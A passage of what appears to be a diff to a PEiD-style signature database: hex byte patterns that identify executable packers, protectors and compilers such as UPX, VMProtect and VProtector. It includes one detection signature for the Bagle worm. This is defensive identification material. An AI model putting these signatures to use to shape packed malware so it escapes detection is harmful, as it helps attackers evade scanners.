29 8B D7 +ep_only = false + +[Upack v0.37 beta -> Dwing] +signature = BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 +ep_only = true + +[Upack v0.38 beta -> Dwing] +signature = BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 +ep_only = true + +[Upack v0.399 -> Dwing] +signature = BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 +ep_only = true + +[UPX + ECLiPSE layer] +signature = B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 D2 EB 01 0F 56 EB 01 0F E8 03 00 00 00 EB 01 0F EB 01 0F 5E EB 01 +ep_only = true + +[UPX Alternative stub] +signature = 01 DB 07 8B 1E 83 EE FC 11 DB ED B8 01 00 00 00 01 DB 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B +ep_only = true + +[UPX Inliner v1.0 by GPcH] +signature = 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 B1 FE FF FF 2B D0 89 95 B1 FE FF FF 01 95 C9 FE FF FF 8D B5 E5 FE FF FF 01 +ep_only = false + +[UPX Modified stub] +signature = 79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 84 ?? 00 00 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 88 ?? 00 00 61 E9 ?? ?? ?? FF +ep_only = true + +[UPX v0.51] +signature = 60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 D8 01 ?? ?? 83 CD FF 31 DB ?? ?? ?? ?? 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 0B 8A 06 46 88 07 47 EB EB 90 +ep_only = true + +[UPX v0.62] +signature = 60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 F0 01 ?? ?? 83 CD FF 31 DB 90 90 90 EB 08 90 90 8A 06 46 88 07 47 01 DB 75 07 +ep_only = true + +[UPX v0.70] +signature = 60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 EC 01 ?? ?? 83 CD FF 31 DB EB 07 90 8A 06 46 88 07 47 01 DB 75 07 +ep_only = true + +[UPX v0.81 - v0.84 Modified] +signature = 01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77 EF +ep_only = true + +[UPX v0.89.6 - v1.02 / v1.05 - v1.22 Modified] +signature = 01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 +ep_only = true + +[UPX v1.03 - v1.04 Modified] +signature = 01 DB ?? 07 8B 1E 83 EE FC 11 DB 8A 07 ?? EB B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF +ep_only = true + +[UPX-Shit v0.1 -> 500mhz] +signature = E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79 +ep_only = true + +[UPX-Shit v0.1 -> 500mhz] +signature = E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 01 ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79 +ep_only = true + +[VcAsm Protector -> VcAsm] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 +ep_only = true + +[VcAsm Protector V1.0X-> VcAsm] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 +ep_only = true + +[VIRUS - I-Worm.Bagle] +signature = 6A 00 E8 95 01 00 00 E8 9F E6 FF FF 83 3D 03 50 40 00 00 75 14 68 C8 AF 00 00 E8 01 E1 FF FF 05 88 13 00 00 A3 03 50 40 00 68 5C 57 40 00 68 F6 30 40 00 FF 35 03 50 40 00 E8 B0 EA FF FF E8 3A FC FF FF 83 3D 54 57 40 00 00 74 05 E8 F3 FA FF FF 68 E8 03 00 +ep_only = false + +[VProtector V1.0 [Build 2004.12.13] test! -> vcasm] +signature = 55 8B EC 6A FF 68 1A 89 40 00 68 56 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 +ep_only = true + +[VProtector V1.0A -> vcasm] +signature = 55 8B EC 6A FF 68 8A 8E 40 00 68 C6 8E 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 +ep_only = true + +[VProtector V1.0B -> vcasm] +signature = 55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 +ep_only = true + +[VProtector V1.0D -> vcasm] +signature = 55 8B EC 6A FF 68 CA 31 41 00 68 06 32 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 +ep_only = true + +[VProtector V1.1 -> vcasm] +signature = B8 1A ED 41 00 B9 EC EB 41 00 50 51 E8 74 00 00 00 E8 51 6A 00 00 58 83 E8 10 B9 B3 00 00 00 +ep_only = true + +[VProtector V1.1A -> vcasm] +signature = EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 +ep_only = true + +[Watcom C/C++] +signature = E9 ?? ?? 00 00 03 10 40 00 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54 69 6D 65 20 73 79 73 74 65 6D 2E 20 28 63 29 20 43 6F 70 79 72 69 67 68 74 20 62 79 20 57 41 54 43 4F 4D 20 49 6E 74 65 72 6E 61 74 69 6F 6E 61 6C 20 43 6F 72 70 2E 20 +ep_only = false + +[Winkript v1.0] +signature = 33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 +ep_only = true + +[WinKript v1.0 -> Mr. Crimson (h)] +signature = 33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = true + +[WinUpack v0.39 final -> By Dwing (c)2005 (h1)] +signature = BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 +ep_only = true + +[WinZip 32-bit SFX v6.x module] +signature = FF 15 ?? ?? ?? 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10 38 08 74 06 40 80 38 00 75 F6 80 38 00 74 01 40 33 C9 ?? ?? ?? ?? FF 15 +ep_only = true + +[WinZip 32-bit SFX v8.x module] +signature = 53 FF 15 ?? ?? ?? 00 B3 22 38 18 74 03 80 C3 FE 8A 48 01 40 33 D2 3A CA 74 0A 3A CB 74 06 8A 48 01 40 EB F2 38 10 74 01 40 ?? ?? ?? ?? FF 15 +ep_only = true + +[XJ / XPAL -> LiNSoN] +signature = 55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 44 53 56 57 66 9C +ep_only = true + +[yC v1.3 by Ashkbiz Danehkar] +signature = 55 8B EC 81 EC C0 00 00 00 53 56 57 8D BD 40 FF FF FF B9 30 00 00 00 B8 CC CC CC CC F3 AB 60 E8 00 00 00 00 5D 81 ED 84 52 41 00 B9 75 5E 41 00 81 E9 DE 52 41 00 8B D5 81 C2 DE 52 41 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC +ep_only = false + +[ZipWorxSecureEXE v2.5 -> ZipWORX Technologies LLC (h)] +signature = E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30 +ep_only = true + +[[MSLRH] v0.1 -> emadicius] +signature = 60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 +ep_only = false + +[[MSLRH] v0.31a] +signature = 60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F +ep_only = false + +[[MSLRH] v0.32a -> emadicius] +signature = EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 +ep_only = false + +[[MSLRH] v0.32a -> emadicius (h)] +signature = E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 +ep_only = false + +[* PseudoSigner 0.1 --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 [32Lite 0.03] --> Anorganix] +signature = 60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68 ?? ?? ?? ?? E9 +ep_only = true + +[* PseudoSigner 0.1 [32Lite 0.03] --> Anorganix] +signature = 60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68 ?? ?? ?? ?? E9 +ep_only = true + +[* PseudoSigner 0.1 [ASProtect] --> Anorganix] +signature = 60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD E9 +ep_only = true + +[* PseudoSigner 0.1 [ASProtect] --> Anorganix] +signature = 60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD E9 +ep_only = true + +[* PseudoSigner 0.1 [CD-Cops II] --> Anorganix] +signature = 53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01 E9 +ep_only = true + +[* PseudoSigner 0.1 [CD-Cops II] --> Anorganix] +signature = 53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01 E9 +ep_only = true + +[* PseudoSigner 0.1 [Code-Lock] --> Anorganix] +signature = 43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B E9 +ep_only = true + +[* PseudoSigner 0.1 [Code-Lock] --> Anorganix] +signature = 43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B E9 +ep_only = true + +[* PseudoSigner 0.1 [Crunch/PE Heuristic] --> Anorganix] +signature = 55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00 E9 +ep_only = true + +[* PseudoSigner 0.1 [Crunch/PE Heuristic] --> Anorganix] +signature = 55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00 E9 +ep_only = true + +[* PseudoSigner 0.1 [FSG 1.31] --> Anorganix] +signature = BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80 E9 +ep_only = true + +[* PseudoSigner 0.1 [FSG 1.31] --> Anorganix] +signature = BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80 E9 +ep_only = true + +[* PseudoSigner 0.1 [LCC Win32 1.x] --> Anorganix] +signature = 64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50 E9 +ep_only = true + +[* PseudoSigner 0.1 [LCC Win32 1.x] --> Anorganix] +signature = 64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50 E9 +ep_only = true + +[* PseudoSigner 0.1 [LTC 1.3] --> Anorganix] +signature = 54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06 E9 +ep_only = true + +[* PseudoSigner 0.1 [LTC 1.3] --> Anorganix] +signature = 54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06 E9 +ep_only = true + +[* PseudoSigner 0.1 [Microsoft Visual Basic 5.0 - 6.0] --> Anorganix] +signature = 68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00 E9 +ep_only = true + +[* PseudoSigner 0.1 [Microsoft Visual Basic 5.0 - 6.0] --> Anorganix] +signature = 68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00 E9 +ep_only = true + +[* PseudoSigner 0.1 [Microsoft Visual C++ 5.0+ (MFC)] --> Anorganix] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 E9 +ep_only = true + +[* PseudoSigner 0.1 [Microsoft Visual C++ 5.0+ (MFC)] --> Anorganix] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 E9 +ep_only = true + +[* PseudoSigner 0.1 [NorthStar PE Shrinker 1.3] --> Anorganix] +signature = 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00 E9 +ep_only = true + +[* PseudoSigner 0.1 [NorthStar PE Shrinker 1.3] --> Anorganix] +signature = 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00 E9 +ep_only = true + +[* PseudoSigner 0.1 [PE Pack 0.99] --> Anorganix] +signature = 60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A E9 +ep_only = true + +[* PseudoSigner 0.1 [PE Pack 0.99] --> Anorganix] +signature = 60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A E9 +ep_only = true + +[* PseudoSigner 0.1 [PE Protect 0.9] --> Anorganix] +signature = 52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3 E9 +ep_only = true + +[* PseudoSigner 0.1 [PE Protect 0.9] --> Anorganix] +signature = 52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3 E9 +ep_only = true + +[* PseudoSigner 0.1 [PENightMare 2 Beta] --> Anorganix] +signature = 60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A E9 +ep_only = true + +[* PseudoSigner 0.1 [PENightMare 2 Beta] --> Anorganix] +signature = 60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A E9 +ep_only = true + +[* PseudoSigner 0.1 [PEX 0.99] --> Anorganix] +signature = 60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01 E9 +ep_only = true + +[* PseudoSigner 0.1 [PEX 0.99] --> Anorganix] +signature = 60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01 E9 +ep_only = true + +[* PseudoSigner 0.1 [REALBasic] --> Anorganix] +signature = 55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01 E9 +ep_only = true + +[* PseudoSigner 0.1 [REALBasic] --> Anorganix] +signature = 55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01 E9 +ep_only = true + +[* PseudoSigner 0.1 [UPX 0.6] --> Anorganix] +signature = 60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00 E9 +ep_only = true + +[* PseudoSigner 0.1 [UPX 0.6] --> Anorganix] +signature = 60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00 E9 +ep_only = true + +[* PseudoSigner 0.2 [.BJFNT 1.1b] --> Anorganix] +signature = EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 90 +ep_only = true + +[* PseudoSigner 0.2 [.BJFNT 1.2] --> Anorganix] +signature = EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 00 +ep_only = true + +[* PseudoSigner 0.2 [ASProtect] --> Anorganix] +signature = 60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD +ep_only = true + +[* PseudoSigner 0.2 [Borland C++ 1999] --> Anorganix] +signature = EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 A1 ?? ?? ?? ?? A3 +ep_only = true + +[* PseudoSigner 0.2 [Borland Delphi DLL] --> Anorganix] +signature = 55 8B EC 83 C4 B4 B8 90 90 90 90 E8 00 00 00 00 E8 00 00 00 00 8D 40 00 +ep_only = true + +[* PseudoSigner 0.2 [Borland Delphi Setup Module] --> Anorganix] +signature = 55 8B EC 83 C4 90 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8 00 00 00 00 +ep_only = true + +[* PseudoSigner 0.2 [Code-Lock] --> Anorganix] +signature = 43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B +ep_only = true + +[* PseudoSigner 0.2 [Crunch/PE Heuristic] --> Anorganix] +signature = 55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00 +ep_only = true + +[* PseudoSigner 0.2 [FSG 1.31] --> Anorganix] +signature = BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80 +ep_only = true + +[* PseudoSigner 0.2 [LCC Win32 1.x] --> Anorganix] +signature = 64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50 +ep_only = true + +[* PseudoSigner 0.2 [LCC Win32 DLL] --> Anorganix] +signature = 55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1 +ep_only = true + +[* PseudoSigner 0.2 [Lockless Intro Pack] --> Anorganix] +signature = 2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD +ep_only = true + +[* PseudoSigner 0.2 [Microsoft Visual C++ 7.0 DLL] --> Anorganix] +signature = 55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 +ep_only = true + +[* PseudoSigner 0.2 [NorthStar PE Shrinker 1.3] --> Anorganix] +signature = 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00 +ep_only = true + +[* PseudoSigner 0.2 [PE Intro 1.0] --> Anorganix] +signature = 8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A +ep_only = true + +[* PseudoSigner 0.2 [PE Pack 0.99] --> Anorganix] +signature = 60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A +ep_only = true + +[* PseudoSigner 0.2 [PE Protect 0.9] --> Anorganix] +signature = 52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3 +ep_only = true + +[* PseudoSigner 0.2 [PENightMare 2 Beta] --> Anorganix] +signature = 60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A +ep_only = true + +[* PseudoSigner 0.2 [PEX 0.99] --> Anorganix] +signature = 60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01 +ep_only = true + +[* PseudoSigner 0.2 [REALBasic] --> Anorganix] +signature = 55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01 +ep_only = true + +[* PseudoSigner 0.2 [UPX 0.6] --> Anorganix] +signature = 60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00 +ep_only = true + +[* PseudoSigner 0.2 [Watcom C/C++ DLL] --> Anorganix] +signature = 53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87 01 00 00 00 F1 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5A 5D 5F 5B 5A 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5E 5B 9D 58 5B 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5A 5E 5D 5B 58 9D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 5F 5B 5D 58 5A 9D 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 58 5F 5D 58 5B 9D 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5F 5D 5B 5A 59 9D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 59 5A 58 9D 5D 5B 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 58 5D 5F 9D 5A 59 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 9D 5E 5D 58 5F 5A 59 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 59 59 5A 5E 5B 9D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 5B 9D 59 5A 5D 58 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 58 5A 5E 9D 5D 59 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 59 5B 5A 58 5F 9D 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5A 5F 5E 5D 5D 58 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5F 5B 5A 9D 5E 5D 59 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5E 9D 59 5A 5A 5B 58 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5D 5A 5B 58 5F 5E 5E 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 5D 58 5B 58 59 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 58 5B 5F 59 5D 5E 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 59 5E 5F 5D 5A 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5F 9D 5D 5B 58 5E 5A 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 58 59 5B 5A 5F 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 5E 58 5B 9D 59 5A 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5A 5B 59 5D 9D 59 5E 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 9D 5A 5D 5F 5E 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] 